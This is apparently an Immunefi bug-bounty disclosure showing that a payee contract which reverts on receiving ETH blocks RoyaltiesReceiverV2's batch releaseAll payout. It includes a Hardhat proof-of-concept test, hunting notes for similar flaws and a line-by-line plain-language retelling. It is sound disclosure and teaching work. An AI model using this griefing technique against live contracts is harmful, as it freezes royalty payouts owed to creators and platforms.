DoS/Griefing in batch ETH payout: malicious payee receive() can revert and block releaseAll for all payees in RoyaltiesReceiverV2
A payee contract can deliberately revert when receiving ETH, causing the batch releaseAll call to fail for all payees. This blocks creator and platform payouts in the same transaction, though no funds are lost.
Belong
Originally disclosed on Immunefi
57458 sc medium dos griefing in batch eth payout malicious payee receive can revert and block releaseall for all payees in royaltiesreceiverv2
- Submitted on Oct 26th 2025 at 11:41:35 UTC by @koko7 for Audit Comp | Belong: https://immunefi.com/audit-competition/audit-comp-belong
- Report ID: #57458
- Report Type: Smart Contract
- Report severity: Medium
- Target: https://github.com/immunefi-team/audit-comp-belong/blob/main/contracts/v2/platform/extensions/ReferralSystemV2.sol
- Impacts:
- Permanent freezing of unclaimed royalties
Description
Brief / Intro
In RoyaltiesReceiverV2, a payee contract can deliberately revert in its receive() or fallback so that a call to releaseAll(NATIVE_CURRENCY_ADDRESS) reverts. Because the batch loop does not isolate failures per payee, a single reverting payee causes the entire call to fail and no one is paid in that transaction. Funds are not lost (the transaction reverts), but batch ETH payouts can be blocked and operational processes disrupted.
Vulnerability Details
- Batch entrypoint iterates payees and releases sequentially:
function releaseAll(address token) external {
RoyaltiesReceivers memory _royaltiesReceivers = royaltiesReceivers;
_release(token, _royaltiesReceivers.creator);
_release(token, _royaltiesReceivers.platform);
if (_royaltiesReceivers.referral != address(0)) {
_release(token, _royaltiesReceivers.referral);
}
}
- ETH path in
_releaseusessafeTransferETH, which reverts if the recipient’sreceive()/fallbackreverts:
function _release(address token, address account) private {
bool isNativeRelease = token == NATIVE_CURRENCY_ADDRESS;
uint256 payment = _pendingPayment(isNativeRelease, token, account);
if (payment == 0) return;
Releases storage releases = isNativeRelease ? nativeReleases : erc20Releases[token];
releases.released[account] += payment;
releases.totalReleased += payment;
if (isNativeRelease) {
account.safeTransferETH(payment); // will revert if payee rejects ETH
} else {
token.safeTransfer(account, payment); // ERC20 path does not execute recipient code
}
emit PaymentReleased(token, account, payment);
}
- Error handling: there is no error isolation or best‑effort behavior; a single revert aborts the entire batch.
- Trust model: among the three payees (
creator,platform,referral), thereferralis typically the least‑trusted external party. A referral contract can intentionally revert to disrupt payouts even if it is technically able to accept ETH.
Impact Details
- A single payee can block batch ETH payouts by reverting on receipt of ETH. This is a deliberate griefing vector, not an inability to receive ETH.
- The most likely adversary is a malicious
referralpayee seeking to disrupt operations, delay platform revenue, or block creator payouts. - Consequences include blocked creator and platform payouts in the same call, and failures in automation that depends on batch releases. Operators may need to fall back to per‑payee releases or switch to an ERC20 payout path.
- Severity: Medium (liveness/operational DoS; no direct fund loss) with realistic adversary being the
referralpayee.
References:
- Code:
contracts/v2/periphery/RoyaltiesReceiverV2.sol(releaseAll,_release) - Transfer helper: Solady
SafeTransferLib.safeTransferETH
Proof of Concept (PoC)
<details> <summary>PoC test (adds a reverting payee that blocks releaseAll for native ETH; ERC20 path still succeeds)</summary>Add this test to /home/jo/audit-comp-belong/test/v2/tokens/accessToken.test.ts and run:
LEDGER_ADDRESS=0x0000000000000000000000000000000000000001 PK=0x1000000000000000000000000000000000000000000000000000000000000001 npx hardhat test test/v2/tokens/accessToken.test.ts --grep "RoyaltiesReceiverV2: DoS on releaseAll via reverting payee"
describe('RoyaltiesReceiverV2: DoS on releaseAll via reverting payee', () => {
it('reverts releaseAll for native ETH when a payee reverts, but ERC20 path succeeds', async () => {
const { factory, owner, creator, erc20Example, signer, referralCode } = await loadFixture(fixture);
const RevertingPayee = await ethers.getContractFactory('RevertingPayee');
const reverter = await RevertingPayee.deploy();
await reverter.deployed();
const newFactoryParams = {
...factoryParams,
platformAddress: reverter.address,
} as Factory.FactoryParametersStruct;
await factory.setFactoryParameters(newFactoryParams, royalties, implementations, referralPercentages);
const meta = { name: 'AtkETH', symbol: 'ATK', uri: 'contractURI/AtkETH' } as TokenMetadata;
const { royaltiesReceiver: rr } = await deployAccessToken(
meta,
ethers.utils.parseEther('0.01'),
ethers.utils.parseEther('0.005'),
signer,
creator,
factory,
referralCode,
);
const native = await rr.NATIVE_CURRENCY_ADDRESS();
await owner.sendTransaction({ to: rr.address, value: ethers.utils.parseEther('1') });
await expect(rr.connect(owner).releaseAll(native)).to.be.reverted;
expect(await rr.totalReleased(native)).to.eq(0);
expect(await rr.released(native, creator.address)).to.eq(0);
expect(await rr.released(native, reverter.address)).to.eq(0);
await erc20Example.connect(owner).mint(rr.address, ethers.utils.parseEther('1'));
await expect(rr.connect(owner).releaseAll(erc20Example.address)).to.not.be.reverted;
expect(await rr.totalReleased(erc20Example.address)).to.eq(ethers.utils.parseEther('1'));
expect(await rr.released(erc20Example.address, creator.address)).to.eq(ethers.utils.parseEther('0.8'));
expect(await rr.released(erc20Example.address, reverter.address)).to.eq(ethers.utils.parseEther('0.2'));
});
});
Context
Belong is a platform whose smart contracts are split into a v2 codebase. One of the periphery contracts, RoyaltiesReceiverV2, holds royalties for a token and distributes them among three payees: the creator, the platform and, optionally, a referral address. The contract supports both native ETH and ERC20 tokens, and exposes a batch entrypoint, releaseAll(address token), that pays every payee in one transaction.
The report targets the batch ETH payout path. The stated impact category is permanent freezing of unclaimed royalties, and the report severity is Medium. The target listed on the submission is contracts/v2/platform/extensions/ReferralSystemV2.sol, while the vulnerable code cited in the body lives in contracts/v2/periphery/RoyaltiesReceiverV2.sol (releaseAll and _release).
Setup
The proof of concept is a Hardhat test added to the existing repository test suite. The report gives the file to add it to and the command to run it, with a ledger address and private key supplied through environment variables:
LEDGER_ADDRESS=[redacted] PK=[redacted] npx hardhat test test/v2/tokens/accessToken.test.ts --grep "RoyaltiesReceiverV2: DoS on releaseAll via reverting payee"
The test is placed in /home/jo/audit-comp-belong/test/v2/tokens/accessToken.test.ts. It relies on the suite's existing fixture and loadFixture helpers, which provide a factory, owner, creator, erc20Example, signer and referralCode, plus the factoryParams, royalties, implementations and referralPercentages objects used to configure the factory. A helper contract named RevertingPayee is deployed from the test; the report does not include its source, only that it is obtained with ethers.getContractFactory('RevertingPayee') and deployed with deploy().
The precondition for the attack is that a payee is a contract that reverts when it receives ETH. In the test this is arranged by setting the platform address to the reverting contract.
Finding it
The researcher looked at how releaseAll iterates over the payees and how _release moves native currency. The batch entrypoint releases the creator, then the platform, then the referral if one is set:
function releaseAll(address token) external {
RoyaltiesReceivers memory _royaltiesReceivers = royaltiesReceivers;
_release(token, _royaltiesReceivers.creator);
_release(token, _royaltiesReceivers.platform);
if (_royaltiesReceivers.referral != address(0)) {
_release(token, _royaltiesReceivers.referral);
}
}
The ETH branch of _release uses safeTransferETH, which executes the recipient's code and reverts if the recipient rejects the transfer:
function _release(address token, address account) private {
bool isNativeRelease = token == NATIVE_CURRENCY_ADDRESS;
uint256 payment = _pendingPayment(isNativeRelease, token, account);
if (payment == 0) return;
Releases storage releases = isNativeRelease ? nativeReleases : erc20Releases[token];
releases.released[account] += payment;
releases.totalReleased += payment;
if (isNativeRelease) {
account.safeTransferETH(payment); // will revert if payee rejects ETH
} else {
token.safeTransfer(account, payment); // ERC20 path does not execute recipient code
}
emit PaymentReleased(token, account, payment);
}
There is no error isolation and no best-effort behaviour around the individual releases, so one revert aborts the whole batch. The ERC20 branch is different: safeTransfer on a token does not execute recipient code, so a payee contract cannot make that path fail by rejecting the transfer. The researcher also noted the trust model: of the three payees, the referral is typically the least-trusted external party, and a referral contract can revert on purpose even when it is technically capable of accepting ETH. That makes this a deliberate griefing vector rather than an inability to receive funds.
Exploitation
Step 1: deploy a payee that rejects ETH
The test deploys the RevertingPayee contract and points the factory's platform address at it, then writes the new parameters back to the factory:
const RevertingPayee = await ethers.getContractFactory('RevertingPayee');
const reverter = await RevertingPayee.deploy();
await reverter.deployed();
const newFactoryParams = {
...factoryParams,
platformAddress: reverter.address,
} as Factory.FactoryParametersStruct;
await factory.setFactoryParameters(newFactoryParams, royalties, implementations, referralPercentages);
This places the reverting contract in the platform payee slot of the royalties receiver created in the test. The report uses the platform slot for the demonstration, while naming the referral as the most likely adversary.
Step 2: create a token whose royalties receiver includes the reverting payee
const meta = { name: 'AtkETH', symbol: 'ATK', uri: 'contractURI/AtkETH' } as TokenMetadata;
const { royaltiesReceiver: rr } = await deployAccessToken(
meta,
ethers.utils.parseEther('0.01'),
ethers.utils.parseEther('0.005'),
signer,
creator,
factory,
referralCode,
);
const native = await rr.NATIVE_CURRENCY_ADDRESS();
deployAccessToken returns the new RoyaltiesReceiverV2 instance as rr, and NATIVE_CURRENCY_ADDRESS() gives the sentinel address the contract uses to mean native ETH.
Step 3: fund the receiver and call the batch release
await owner.sendTransaction({ to: rr.address, value: ethers.utils.parseEther('1') });
await expect(rr.connect(owner).releaseAll(native)).to.be.reverted;
expect(await rr.totalReleased(native)).to.eq(0);
expect(await rr.released(native, creator.address)).to.eq(0);
expect(await rr.released(native, reverter.address)).to.eq(0);
One ETH is sent to the receiver, then releaseAll is called with the native currency address. The call reverts. The assertions confirm the consequence: totalReleased for native currency is still zero, and neither the creator's nor the reverting payee's released counter has moved. Because the whole transaction reverts, the accounting updates made before the failing transfer are rolled back too, so no payee is paid and no state records a partial release.
Step 4: show the ERC20 path still works
await erc20Example.connect(owner).mint(rr.address, ethers.utils.parseEther('1'));
await expect(rr.connect(owner).releaseAll(erc20Example.address)).to.not.be.reverted;
expect(await rr.totalReleased(erc20Example.address)).to.eq(ethers.utils.parseEther('1'));
expect(await rr.released(erc20Example.address, creator.address)).to.eq(ethers.utils.parseEther('0.8'));
expect(await rr.released(erc20Example.address, reverter.address)).to.eq(ethers.utils.parseEther('0.2'));
One ether-scaled amount of the ERC20 is minted to the receiver and releaseAll is called with the token address. This call succeeds. The released totals show the split: 0.8 to the creator and 0.2 to the reverting payee, summing to the full amount. The reverting contract cannot block the ERC20 path because the token transfer does not run its code.
Root cause
The batch loop in releaseAll calls _release for each payee in sequence with no per-payee error handling. On the native path, _release uses Solady's SafeTransferLib.safeTransferETH, which forwards ETH to the payee and therefore executes the payee's receive() or fallback. If that code reverts, the transfer reverts, _release reverts, and the whole releaseAll transaction reverts. Nothing in the contract isolates the failure, retries, or skips the failing payee, so the other payees in the same call are not paid either. The ERC20 path avoids the problem only incidentally, because safeTransfer on the token does not execute recipient code.
Impact
A single payee can block batch ETH payouts by reverting on receipt of ETH. The most likely adversary is a malicious referral payee seeking to disrupt operations, delay platform revenue, or block creator payouts. The consequences named in the report are blocked creator and platform payouts in the same call, and failures in automation that depends on batch releases. Operators may need to fall back to per-payee releases or switch to an ERC20 payout path.
Funds are not lost: the transaction reverts, so the ETH stays in the receiver. The report describes this as a liveness and operational denial of service and rates it Medium.
Fix
The report does not describe a patch or a change made by the project. It frames the problem as the absence of error isolation or best-effort behaviour in the batch loop, which is the property a fix would need to address.
Variants to test
- Other batch payout contracts. Look for any function that loops over recipients and sends native currency with a safe-transfer helper. A positive result is a call that reverts entirely when one recipient contract rejects ETH, with the other recipients' balances unchanged.
- Payee slots a hostile party can occupy. In this contract the referral is the least-trusted slot; in other systems it may be an affiliate, a fee recipient or a configurable treasury. A positive result is a slot that an external party controls and that sits inside a shared batch loop.
- ERC20 versus native asymmetry. Check whether the same contract behaves differently for tokens and for ETH. A positive result is a token release that succeeds while the native release for the same payees reverts.
- Gas-griefing recipients. A payee that consumes enough gas in
receive()to exceed the transaction gas limit would produce the same batch failure without an explicit revert. A positive result is a batch call that runs out of gas because of one recipient.
Hunting notes
This class of bug hides in batch distribution code: royalty splitters, revenue share contracts, airdrop and claim contracts, and anything that pays several addresses in one transaction. The signal during review is a loop that calls a transfer helper which executes recipient code, with no try/catch, no pull-payment pattern and no per-recipient failure handling. The presence of a configurable, externally controlled payee slot (here the referral) is what turns a robustness issue into an attack.
To show impact, the researcher demonstrated the failure end to end in the project's own test suite: a reverting payee contract, a funded receiver, a reverted releaseAll with all released counters at zero, and a succeeding ERC20 release with the expected 0.8 and 0.2 split. That contrast makes clear both that the block is real and that it is specific to the native path.
What happened, in plain words
Belong is a platform that runs on smart contracts, which are small programs that live on a blockchain and run automatically when someone calls them. The platform's code is organised into a version called v2. One of its contracts, RoyaltiesReceiverV2, is a kind of shared money box: it holds royalties (money earned when a token is used or sold) and later hands that money out to three parties. Those three parties are called payees:
- the creator, the person who made the token;
- the platform, Belong itself;
- a referral, an optional outside address that helped bring in the sale.
The contract can hold two kinds of money: native ETH (the blockchain's own currency) and ERC20 tokens (tokens built on top of the blockchain, like a custom currency). It has a function called releaseAll(address token) that pays every payee in one go, in a single transaction. A transaction is one action sent to the blockchain; it either fully succeeds or fully fails, and if it fails, every change it made is undone.
The problem is in the ETH payout path. When the contract sends ETH to a payee, the payee's own code runs. If that code refuses the money by deliberately failing, the whole releaseAll call fails, and because the payees are paid one after another inside that single call, nobody gets paid. The report calls this a denial of service (DoS) or griefing: an attack whose goal is not to steal money but to stop something from working. The stated impact category is permanent freezing of unclaimed royalties, and the severity is Medium.
One detail worth knowing up front: the submission lists the target as contracts/v2/platform/extensions/ReferralSystemV2.sol, but the vulnerable code described in the body lives in contracts/v2/periphery/RoyaltiesReceiverV2.sol, in the functions releaseAll and _release.
Setting up the test
The proof of concept is a test added to the project's existing test suite. A test suite is a collection of small programs that check whether code behaves as expected; developers run them automatically. This project uses Hardhat, a toolkit for building and testing blockchain code.
The report gives the file to add the test to and the command to run it. The command sets two environment variables (named values passed to a program when it starts) and then runs Hardhat, filtering to just this one test by its name:
LEDGER_ADDRESS=[redacted] PK=[redacted] npx hardhat test test/v2/tokens/accessToken.test.ts --grep "RoyaltiesReceiverV2: DoS on releaseAll via reverting payee"
Line by line:
LEDGER_ADDRESS=0x...0001sets an address used by the test setup. An address is like a bank account number on the blockchain.PK=0x1000...0001sets a private key, the secret that proves ownership of an address. Both values are supplied through the environment so they are not written into the code.npx hardhat test test/v2/tokens/accessToken.test.tsruns the test file at that path.--grep "RoyaltiesReceiverV2: DoS on releaseAll via reverting payee"tells Hardhat to run only the test whose name matches that text.
The test is placed in /home/jo/audit-comp-belong/test/v2/tokens/accessToken.test.ts. It reuses the suite's existing helpers: fixture and loadFixture set up a fresh copy of the project's world for each test, and they provide a factory, owner, creator, erc20Example, signer and referralCode, plus the factoryParams, royalties, implementations and referralPercentages objects used to configure the factory. A factory here is a contract that creates other contracts with given settings.
The test also deploys a helper contract named RevertingPayee. The report does not include its source; it only says the test obtains it with ethers.getContractFactory('RevertingPayee') and deploys it with deploy(). From the name and its use, it is a contract that refuses ETH when it receives it.
The precondition for the attack is that a payee is a contract that fails when it receives ETH. In the test this is arranged by putting the reverting contract in the platform slot.
Finding the problem
The researcher read how releaseAll walks through the payees and how _release moves native currency. The batch function pays the creator first, then the platform, then the referral if one is set:
function releaseAll(address token) external {
RoyaltiesReceivers memory _royaltiesReceivers = royaltiesReceivers;
_release(token, _royaltiesReceivers.creator);
_release(token, _royaltiesReceivers.platform);
if (_royaltiesReceivers.referral != address(0)) {
_release(token, _royaltiesReceivers.referral);
}
}
Line by line:
function releaseAll(address token) external {declares a function anyone outside the contract can call, taking the address of the token to pay out.RoyaltiesReceivers memory _royaltiesReceivers = royaltiesReceivers;copies the stored list of three payees into a temporary variable held in memory, so the rest of the function reads a consistent snapshot._release(token, _royaltiesReceivers.creator);pays the creator._release(token, _royaltiesReceivers.platform);pays the platform.if (_royaltiesReceivers.referral != address(0)) {checks whether a referral address is set;address(0)is the special empty address meaning "nobody"._release(token, _royaltiesReceivers.referral);pays the referral if there is one.
The ETH branch of _release uses safeTransferETH, a helper that sends ETH and runs the recipient's code, failing if the recipient refuses the money:
function _release(address token, address account) private {
bool isNativeRelease = token == NATIVE_CURRENCY_ADDRESS;
uint256 payment = _pendingPayment(isNativeRelease, token, account);
if (payment == 0) return;
Releases storage releases = isNativeRelease ? nativeReleases : erc20Releases[token];
releases.released[account] += payment;
releases.totalReleased += payment;
if (isNativeRelease) {
account.safeTransferETH(payment); // will revert if payee rejects ETH
} else {
token.safeTransfer(account, payment); // ERC20 path does not execute recipient code
}
emit PaymentReleased(token, account, payment);
}
Line by line:
function _release(address token, address account) private {declares an internal helper that pays one account for one token.bool isNativeRelease = token == NATIVE_CURRENCY_ADDRESS;decides whether this is an ETH payout.NATIVE_CURRENCY_ADDRESSis a special marker address the contract uses to mean "native ETH" rather than a token.uint256 payment = _pendingPayment(isNativeRelease, token, account);works out how much this account is owed.if (payment == 0) return;does nothing if the amount is zero.Releases storage releases = isNativeRelease ? nativeReleases : erc20Releases[token];picks the right record book: one for ETH, one per token.releases.released[account] += payment;records that this account has now been paid this amount.releases.totalReleased += payment;adds the amount to the running total paid out.if (isNativeRelease) {starts the ETH case.account.safeTransferETH(payment); // will revert if payee rejects ETHsends the ETH. The comment states the key point: if the payee rejects it, this line fails.} else {starts the token case.token.safeTransfer(account, payment); // ERC20 path does not execute recipient codesends the token. The comment states why this path is different: a token transfer does not run the recipient's code.emit PaymentReleased(token, account, payment);writes a public log entry saying a payment happened. Logs are records anyone can read afterwards.
There is no error isolation and no best-effort behaviour around the individual releases, so one failure aborts the whole batch. The ERC20 branch is different: safeTransfer on a token does not run the recipient's code, so a payee contract cannot make that path fail by refusing the transfer. The researcher also noted the trust model: of the three payees, the referral is typically the least-trusted outside party, and a referral contract can fail on purpose even when it is technically able to accept ETH. That makes this a deliberate griefing vector rather than an inability to receive funds.
Carrying out the attack
Step 1: deploy a payee that rejects ETH
The test deploys the RevertingPayee contract, points the factory's platform address at it, and writes the new settings back to the factory:
const RevertingPayee = await ethers.getContractFactory('RevertingPayee');
const reverter = await RevertingPayee.deploy();
await reverter.deployed();
const newFactoryParams = {
...factoryParams,
platformAddress: reverter.address,
} as Factory.FactoryParametersStruct;
await factory.setFactoryParameters(newFactoryParams, royalties, implementations, referralPercentages);
Line by line:
const RevertingPayee = await ethers.getContractFactory('RevertingPayee');loads the compiled contract so it can be deployed.ethersis the library used to talk to the blockchain from JavaScript.const reverter = await RevertingPayee.deploy();deploys a new copy of it.await reverter.deployed();waits until the deployment is confirmed.const newFactoryParams = {starts a copy of the factory settings....factoryParams,copies all the existing settings in.platformAddress: reverter.address,replaces the platform address with the reverting contract's address.} as Factory.FactoryParametersStruct;closes the object and labels its type for the compiler.await factory.setFactoryParameters(newFactoryParams, royalties, implementations, referralPercentages);saves the new settings to the factory.
This puts the reverting contract in the platform payee slot of the royalties receiver created in the test. The report uses the platform slot for the demonstration, while naming the referral as the most likely adversary.
Step 2: create a token whose royalties receiver includes the reverting payee
const meta = { name: 'AtkETH', symbol: 'ATK', uri: 'contractURI/AtkETH' } as TokenMetadata;
const { royaltiesReceiver: rr } = await deployAccessToken(
meta,
ethers.utils.parseEther('0.01'),
ethers.utils.parseEther('0.005'),
signer,
creator,
factory,
referralCode,
);
const native = await rr.NATIVE_CURRENCY_ADDRESS();
Line by line:
const meta = { name: 'AtkETH', symbol: 'ATK', uri: 'contractURI/AtkETH' } as TokenMetadata;describes the new token: its name, its short symbol and a link to its metadata (information about it).const { royaltiesReceiver: rr } = await deployAccessToken(creates the token and pulls out the royalties receiver it creates, naming itrr.meta,passes the token description.ethers.utils.parseEther('0.01'),andethers.utils.parseEther('0.005'),pass two amounts, converted from readable ETH into the smallest unit the blockchain uses.signer,creator,factory,referralCode,pass the account sending the transaction, the creator, the factory and the referral code.const native = await rr.NATIVE_CURRENCY_ADDRESS();asks the receiver for the special marker address that means native ETH.
Step 3: fund the receiver and call the batch release
await owner.sendTransaction({ to: rr.address, value: ethers.utils.parseEther('1') });
await expect(rr.connect(owner).releaseAll(native)).to.be.reverted;
expect(await rr.totalReleased(native)).to.eq(0);
expect(await rr.released(native, creator.address)).to.eq(0);
expect(await rr.released(native, reverter.address)).to.eq(0);
Line by line:
await owner.sendTransaction({ to: rr.address, value: ethers.utils.parseEther('1') });sends one ETH from the owner to the receiver, so there is money to pay out.await expect(rr.connect(owner).releaseAll(native)).to.be.reverted;calls the batch release for ETH and asserts that it fails.connect(owner)means the call is made as the owner.expect(await rr.totalReleased(native)).to.eq(0);checks that the total released for ETH is still zero.expect(await rr.released(native, creator.address)).to.eq(0);checks that the creator's released counter has not moved.expect(await rr.released(native, reverter.address)).to.eq(0);checks that the reverting payee's counter has not moved either.
Because the whole transaction fails, the accounting updates made before the failing transfer are undone too, so no payee is paid and no record shows a partial release.
Step 4: show the ERC20 path still works
await erc20Example.connect(owner).mint(rr.address, ethers.utils.parseEther('1'));
await expect(rr.connect(owner).releaseAll(erc20Example.address)).to.not.be.reverted;
expect(await rr.totalReleased(erc20Example.address)).to.eq(ethers.utils.parseEther('1'));
expect(await rr.released(erc20Example.address, creator.address)).to.eq(ethers.utils.parseEther('0.8'));
expect(await rr.released(erc20Example.address, reverter.address)).to.eq(ethers.utils.parseEther('0.2'));
Line by line:
await erc20Example.connect(owner).mint(rr.address, ethers.utils.parseEther('1'));creates one unit of the example token and gives it to the receiver.mintmeans create new units.await expect(rr.connect(owner).releaseAll(erc20Example.address)).to.not.be.reverted;calls the batch release for the token and asserts that it succeeds.expect(await rr.totalReleased(erc20Example.address)).to.eq(ethers.utils.parseEther('1'));checks that the full one unit was released.expect(await rr.released(erc20Example.address, creator.address)).to.eq(ethers.utils.parseEther('0.8'));checks the creator got 0.8.expect(await rr.released(erc20Example.address, reverter.address)).to.eq(ethers.utils.parseEther('0.2'));checks the reverting payee got 0.2.
The two amounts add up to the full released amount. The reverting contract cannot block the ERC20 path because the token transfer does not run its code.
Why it works
The batch loop in releaseAll calls _release for each payee in turn with no per-payee error handling. On the ETH path, _release uses Solady's SafeTransferLib.safeTransferETH, which forwards ETH to the payee and therefore runs the payee's receive() or fallback. Those are the two special functions a contract can define to react when money arrives. If that code fails, the transfer fails, _release fails, and the whole releaseAll transaction fails. Nothing in the contract isolates the failure, retries, or skips the failing payee, so the other payees in the same call are not paid either. The ERC20 path avoids the problem only by accident, because safeTransfer on the token does not run recipient code.
What it means in practice
A single payee can block batch ETH payouts by refusing ETH. The most likely adversary is a malicious referral payee trying to disrupt operations, delay platform revenue, or block creator payouts. The consequences named in the report are blocked creator and platform payouts in the same call, and failures in automation that depends on batch releases. Operators may need to fall back to paying each payee separately or switch to an ERC20 payout path.
Funds are not lost: the transaction fails, so the ETH stays in the receiver. The report describes this as a liveness and operational denial of service and rates it Medium.
Fix
The report does not describe a patch or a change made by the project. It frames the problem as the absence of error isolation or best-effort behaviour in the batch loop, which is the property a fix would need to address.
Variants to test
- Other batch payout contracts. Look for any function that loops over recipients and sends native currency with a safe-transfer helper. A positive result is a call that fails entirely when one recipient contract rejects ETH, with the other recipients' balances unchanged.
- Payee slots a hostile party can occupy. In this contract the referral is the least-trusted slot; in other systems it may be an affiliate, a fee recipient or a configurable treasury. A positive result is a slot that an outside party controls and that sits inside a shared batch loop.
- ERC20 versus native asymmetry. Check whether the same contract behaves differently for tokens and for ETH. A positive result is a token release that succeeds while the ETH release for the same payees fails.
- Gas-griefing recipients. A payee that uses enough gas in
receive()to exceed the transaction gas limit would produce the same batch failure without an explicit failure. Gas is the fee paid for computation on the blockchain, and every transaction has a limit. A positive result is a batch call that runs out of gas because of one recipient.
Hunting notes
This class of bug hides in batch distribution code: royalty splitters, revenue share contracts, airdrop and claim contracts, and anything that pays several addresses in one transaction. The signal during review is a loop that calls a transfer helper which runs recipient code, with no try/catch, no pull-payment pattern and no per-recipient failure handling. A pull-payment pattern means each recipient withdraws their own money instead of being pushed it in a loop. The presence of a configurable, externally controlled payee slot (here the referral) is what turns a robustness issue into an attack.
To show impact, the researcher demonstrated the failure end to end in the project's own test suite: a reverting payee contract, a funded receiver, a failed releaseAll with all released counters at zero, and a succeeding ERC20 release with the expected 0.8 and 0.2 split. That contrast makes clear both that the block is real and that it is specific to the ETH path.
Glossary
- Smart contract: a program stored on a blockchain that runs automatically when called.
- Blockchain: a shared, tamper-resistant record of transactions maintained by many computers.
- ETH: the native currency of the Ethereum blockchain.
- ERC20 token: a custom token built on Ethereum following a common standard.
- Royalty: money paid to a creator when their token is used or sold.
- Payee: a party that receives a payment.
- Referral: an outside address credited for bringing in a sale.
- Transaction: one action sent to the blockchain that either fully succeeds or fully fails.
- Revert: the failure of a transaction, which undoes all its changes.
- Denial of service (DoS): an attack that stops something from working rather than stealing from it.
- Griefing: an attack whose only goal is to cause harm or disruption.
- Liveness: the property that a system keeps working and processing actions.
- Function: a named block of code in a contract that can be called.
- Address: an identifier for an account or contract on the blockchain.
- Private key: the secret that proves ownership of an address.
- Environment variable: a named value passed to a program when it starts.
- Hardhat: a toolkit for building and testing Ethereum code.
- Test suite: a collection of programs that check whether code behaves as expected.
- Fixture: a helper that sets up a fresh copy of the project's world for each test.
- Factory: a contract that creates other contracts with given settings.
- Deploy: to publish a contract to the blockchain so it can be used.
receive()/fallback: special functions a contract can define to react when money or unexpected calls arrive.safeTransferETH: a helper that sends ETH and fails if the recipient refuses it.safeTransfer: a helper that sends an ERC20 token; it does not run the recipient's code.- Native currency: the blockchain's own money (ETH), as opposed to a token.
- Sentinel address: a special marker address used to mean something other than a real account, here native ETH.
- Gas: the fee paid for computation on the blockchain; every transaction has a limit.
- Log / event: a public record a contract writes that anyone can read afterwards.
- Assertion: a check in a test that a value is what it should be.
- Mint: to create new units of a token.
- Pull-payment pattern: a design where each recipient withdraws their own money instead of being pushed it in a loop.
- try/catch: a programming construct that handles an error instead of letting it stop everything.
- Error isolation: handling each step's failure separately so one failure does not stop the rest.